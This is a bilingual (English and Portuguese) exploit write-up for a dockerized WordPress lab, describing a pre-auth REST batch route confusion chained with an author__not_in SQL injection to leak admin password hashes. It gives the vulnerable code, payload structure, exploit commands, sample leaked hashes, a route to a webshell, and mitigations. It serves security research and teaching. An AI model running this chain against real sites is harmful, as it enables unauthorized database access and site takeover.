joaovicdev
exploitexploitCVE-2026-63030

CVE-2026-63030: wp2shell — WordPress Core pre-auth REST route confusion → SQLiCVE-2026-63030: wp2shell — confusão de rota REST pré-auth no WordPress Core → SQLi

A dockerized lab for wp2shell: a REST batch route-confusion bug in WordPress Core 7.0.1 chained with an author__not_in SQL injection to leak user password hashes with zero credentials, driven by a dependency-free Python exploit.Um lab dockerizado do wp2shell: uma confusão de rota no batch da REST API do WordPress Core 7.0.1 encadeada com uma SQL injection em author__not_in para vazar hashes de senha sem nenhuma credencial, conduzida por um exploit em Python sem dependências.

Proof of concept on GitHubProva de conceito no GitHub

Authorization: this is a deliberately vulnerable, self-contained Docker lab built for education and security research. Run it locally and isolated only — never expose it to the internet, and only point the exploit at this lab or systems you are explicitly authorized to test. Misuse can be a crime.

Summary

wp2shell is a pre-authentication remote code execution chain in WordPress Core, fixed in 6.9.5 and 7.0.2. It stitches together two bugs:

CVEComponentBug
CVE-2026-63030REST API /wp-json/batch/v1Route confusion: a desync between validation and dispatch of batched sub-requests
CVE-2026-60137WP_Query (author__not_in)SQL injection when the value arrives as a string instead of an array

Chained, they let an attacker with no credentials run arbitrary SQL — and, in the full advisory sequence, reach RCE. Versions affected by the RCE chain: 6.9.0–6.9.4 and 7.0.0–7.0.1.

This repository is a full victim lab (WordPress Core 7.0.1 + MySQL on Docker) plus a Python exploit that demonstrates the pre-auth core of the chain: route confusion → blind SQLi → password-hash extraction.

Impact

  • Unauthenticated. No login, no API key — a plain HTTP client is enough.
  • Arbitrary SQL read against the WordPress database via a boolean/time oracle.
  • Credential disclosure: wp_users login names and $wp$2y$... bcrypt hashes are extracted char-by-char, which crack offline into working admin passwords.
  • Path to RCE: with an admin password recovered, log into /wp-admin, upload a malicious plugin (or edit a theme), and land a webshell.

How the chain works

1. The batch desync (serve_batch_request_v1)

In wp-includes/rest-api/class-wp-rest-server.php, the batch handler walks two parallel arrays — $matches (matched route/handler) and $validation (the validation result). A sub-request that fails to parse is pushed into $validation but skips $matches:

class-wp-rest-server.php
foreach ( $requests as $single_request ) {
    if ( is_wp_error( $single_request ) ) {   // e.g. path "///" -> wp_parse_url() === false
        $validation[] = $single_request;       // enters $validation ONLY
        continue;                              // $matches gets NO entry => desync
    }
    $match     = $this->match_request_to_handler( $single_request );
    $matches[] = $match;
    $validation[] = $error ? $error : true;
}

At dispatch time the handler is read from $matches[$i], while the request body still follows the full index of $requests. A primer sub-request that fails to parse ("///") shifts everything in $matches by one slot — so one sub-request is executed under another's handler.

2. Smuggling GET sub-requests (nested batch)

The batch schema only accepts POST/PUT/PATCH/DELETE (GET is rejected with rest_not_in_enum). The exploit sidesteps this with a batch inside a batch:

outer batch — valid methods only
[ primer("///"),
  carrier = POST /wp/v2/posts   (body = INNER BATCH),
  POST /batch/v1 ]

The carrier validates as a posts create_item (it passes: allow_batch=true, no required params). Because it is not validated as a batch, its body escapes the method-enum check. The outer desync then dispatches the carrier under the /batch/v1 handler stolen from the third sub-request, so serve_batch_request_v1 processes its raw body — this time carrying GET sub-requests.

3. Reaching the SQL sink

inner batch
[ primer("///"),
  GET /wp/v2/users?author_exclude=<PAYLOAD>,   <-- users has no author_exclude => raw value
  GET /wp/v2/posts ]

A second, inner desync runs GET /wp/v2/users (carrying the unsanitized author_exclude) under posts get_items(), which maps author_exclude → author__not_in. In WP_Query, the vulnerable branch only sanitizes arrays:

class-wp-query.php
if ( ! empty( $query_vars['author__not_in'] ) ) {
    if ( is_array( $query_vars['author__not_in'] ) ) {          // a string SKIPS sanitization
        $query_vars['author__not_in'] = array_unique( array_map( 'absint', ... ) );
        sort( ... );
    }
    $author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
    $where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";   // injection
}

The boolean payload 0) AND (<condition>)-- - turns the WHERE into an oracle (rows returned = true; empty = false), and data is extracted char-by-char via binary search.

Proof of concept

The exploit uses only the Python 3 standard library — no dependencies.

attack flow
outer desync  ──▶ smuggle a nested batch under /batch/v1
inner desync  ──▶ run GET /wp/v2/users under posts get_items()
author_exclude ─▶ raw string into author__not_in => SQLi oracle
binary search ──▶ leak wp_users logins + $wp$2y$ hashes, no auth

Run it

Prerequisites: Docker, Docker Compose, and Python 3.

1. Bring up the vulnerable environment:

terminal 1
docker compose up -d db wordpress      # MySQL + WordPress 7.0.1
docker compose run --rm wpcli          # installs WP, seeds users/content

This provisions a site at http://localhost:8080, an admin and a second victim admin (the hash-extraction target), and one published post (needed for get_items() to return rows). Confirm the vulnerable version:

docker exec wp2shell-cli wp core version   # 7.0.1

2. Fire the exploit:

terminal 2
python3 exploit.py --url http://localhost:8080

Expected output (trimmed):

[+] Route confusion OK: GET /wp/v2/users executed under posts get_items()
[+] Blind SQL injection confirmed (boolean oracle 1=1 vs 1=2)
[+] Credentials extracted (pre-auth, no login):
  ID=1  login=admin
    hash=$wp$2y$10$tjd0.l/QQOhp9eQpwrufMuYVrjv4kVoJMfmA3f2ZZew51rND7o94q
  ID=2  login=victim
    hash=$wp$2y$10$3Nv1oxyfIe/yKqNd/AUZSOZqQYWiJHfNAKBPdbjMhqTtVBDbuBO0e

Other modes:

python3 exploit.py --url http://localhost:8080 --sql "SELECT @@version"   # arbitrary SQL
python3 exploit.py --url http://localhost:8080 --mode time                # blind time-based
python3 exploit.py --url http://localhost:8080 -v                         # show each query

3. Verify the leaked data is real — compare against the database the exploit never touched:

docker exec wp2shell-db mysql -uroot -prootpass -N \
  -e "SELECT ID,user_login,user_pass FROM wordpress.wp_users;"

The hashes should be identical to those the exploit extracted over HTTP.

Mitigation

Update WordPress Core to 6.9.5 / 7.0.2 or later. The patch forces author__not_in to integers (wp_parse_id_list) even when it arrives as a string, and ensures batch errors occupy a slot in both arrays — closing the desync. Compensating controls: a WAF filtering /wp-json/batch/v1, disabling the unauthenticated REST API, and alerting on author_exclude values containing SQL.

References

Autorização: este é um lab Docker autocontido e propositalmente vulnerável, feito para fins educacionais e pesquisa de segurança. Rode somente local e isolado — nunca exponha na internet, e aponte o exploit apenas para este lab ou para sistemas que você está explicitamente autorizado a testar. Uso indevido pode ser crime.

Resumo

O wp2shell é uma cadeia de execução remota de código pré-autenticação no WordPress Core, corrigida na 6.9.5 e na 7.0.2. Ela costura dois bugs:

CVEComponenteFalha
CVE-2026-63030REST API /wp-json/batch/v1Confusão de rota: um dessincronismo entre a validação e o dispatch das sub-requisições em lote
CVE-2026-60137WP_Query (author__not_in)SQL injection quando o valor chega como string em vez de array

Encadeadas, permitem que um atacante sem credenciais rode SQL arbitrário — e, na sequência completa do advisory, chegue a RCE. Versões afetadas pela cadeia de RCE: 6.9.0–6.9.4 e 7.0.0–7.0.1.

Este repositório é um lab completo de vítima (WordPress Core 7.0.1 + MySQL no Docker) mais um exploit em Python que demonstra o núcleo pré-auth da cadeia: confusão de rota → SQLi cega → extração de hashes de senha.

Impacto

  • Sem autenticação. Sem login, sem API key — um cliente HTTP comum basta.
  • Leitura arbitrária de SQL contra o banco do WordPress via um oráculo booleano/temporal.
  • Vazamento de credenciais: nomes de login e hashes bcrypt $wp$2y$... da wp_users são extraídos caractere a caractere, e quebram offline em senhas de administrador funcionais.
  • Caminho para RCE: com uma senha de admin recuperada, basta entrar no /wp-admin, subir um plugin malicioso (ou editar um tema) e obter uma webshell.

Como a cadeia funciona

1. O dessincronismo do batch (serve_batch_request_v1)

Em wp-includes/rest-api/class-wp-rest-server.php, o handler de batch percorre dois arrays paralelos — $matches (rota/handler correspondente) e $validation (o resultado da validação). Uma sub-requisição que falha ao ser interpretada é empurrada para $validation mas pula o $matches:

class-wp-rest-server.php
foreach ( $requests as $single_request ) {
    if ( is_wp_error( $single_request ) ) {   // ex.: path "///" -> wp_parse_url() === false
        $validation[] = $single_request;       // entra SOMENTE em $validation
        continue;                              // $matches NÃO recebe entrada => dessincronismo
    }
    $match     = $this->match_request_to_handler( $single_request );
    $matches[] = $match;
    $validation[] = $error ? $error : true;
}

No momento do dispatch o handler é lido de $matches[$i], enquanto o corpo da requisição ainda segue o índice completo de $requests. Uma sub-requisição primer que falha ao ser interpretada ("///") desloca tudo em $matches em uma posição — então uma sub-requisição é executada sob o handler de outra.

2. Contrabandeando sub-requisições GET (batch aninhado)

O schema do batch só aceita POST/PUT/PATCH/DELETE (GET é rejeitado com rest_not_in_enum). O exploit contorna isso com um batch dentro de um batch:

batch externo — apenas métodos válidos
[ primer("///"),
  carrier = POST /wp/v2/posts   (corpo = BATCH INTERNO),
  POST /batch/v1 ]

O carrier valida como um create_item de posts (ele passa: allow_batch=true, sem parâmetros obrigatórios). Como ele não é validado como batch, o corpo dele escapa da checagem do enum de métodos. O dessincronismo externo então despacha o carrier sob o handler /batch/v1 roubado da terceira sub-requisição, de modo que serve_batch_request_v1 processa o corpo bruto dele — desta vez carregando sub-requisições GET.

3. Alcançando o sink de SQL

batch interno
[ primer("///"),
  GET /wp/v2/users?author_exclude=<PAYLOAD>,   <-- users não tem author_exclude => valor bruto
  GET /wp/v2/posts ]

Um segundo dessincronismo, interno, roda GET /wp/v2/users (carregando o author_exclude não sanitizado) sob o get_items() de posts, que mapeia author_exclude → author__not_in. No WP_Query, o ramo vulnerável só sanitiza arrays:

class-wp-query.php
if ( ! empty( $query_vars['author__not_in'] ) ) {
    if ( is_array( $query_vars['author__not_in'] ) ) {          // uma string PULA a sanitização
        $query_vars['author__not_in'] = array_unique( array_map( 'absint', ... ) );
        sort( ... );
    }
    $author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
    $where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";   // injeção
}

O payload booleano 0) AND (<condição>)-- - transforma o WHERE em um oráculo (linhas retornadas = verdadeiro; vazio = falso), e os dados são extraídos caractere a caractere por busca binária.

Prova de conceito

O exploit usa apenas a biblioteca padrão do Python 3 — sem dependências.

fluxo do ataque
dessinc. externo ─▶ contrabandeia um batch aninhado sob /batch/v1
dessinc. interno ─▶ roda GET /wp/v2/users sob o get_items() de posts
author_exclude   ─▶ string bruta em author__not_in => oráculo de SQLi
busca binária    ─▶ vaza logins e hashes $wp$2y$ da wp_users, sem auth

Rodando o lab

Pré-requisitos: Docker, Docker Compose e Python 3.

1. Suba o ambiente vulnerável:

terminal 1
docker compose up -d db wordpress      # MySQL + WordPress 7.0.1
docker compose run --rm wpcli          # instala o WP, popula usuários/conteúdo

Isso provisiona um site em http://localhost:8080, um admin e um segundo admin victim (o alvo da extração de hash), e um post publicado (necessário para o get_items() retornar linhas). Confirme a versão vulnerável:

docker exec wp2shell-cli wp core version   # 7.0.1

2. Dispare o exploit:

terminal 2
python3 exploit.py --url http://localhost:8080

Saída esperada (resumida):

[+] Route confusion OK: GET /wp/v2/users executed under posts get_items()
[+] Blind SQL injection confirmed (boolean oracle 1=1 vs 1=2)
[+] Credentials extracted (pre-auth, no login):
  ID=1  login=admin
    hash=$wp$2y$10$tjd0.l/QQOhp9eQpwrufMuYVrjv4kVoJMfmA3f2ZZew51rND7o94q
  ID=2  login=victim
    hash=$wp$2y$10$3Nv1oxyfIe/yKqNd/AUZSOZqQYWiJHfNAKBPdbjMhqTtVBDbuBO0e

Outros modos:

python3 exploit.py --url http://localhost:8080 --sql "SELECT @@version"   # SQL arbitrário
python3 exploit.py --url http://localhost:8080 --mode time                # cego baseado em tempo
python3 exploit.py --url http://localhost:8080 -v                         # mostra cada query

3. Verifique que os dados vazados são reais — compare com o banco que o exploit nunca tocou:

docker exec wp2shell-db mysql -uroot -prootpass -N \
  -e "SELECT ID,user_login,user_pass FROM wordpress.wp_users;"

Os hashes devem ser idênticos aos que o exploit extraiu por HTTP.

Mitigação

Atualize o WordPress Core para a 6.9.5 / 7.0.2 ou superior. O patch força author__not_in a inteiros (wp_parse_id_list) mesmo quando chega como string, e garante que erros de batch ocupem uma posição em ambos os arrays — fechando o dessincronismo. Controles compensatórios: um WAF filtrando /wp-json/batch/v1, desabilitar a REST API não autenticada, e alertar sobre valores de author_exclude contendo SQL.

Referências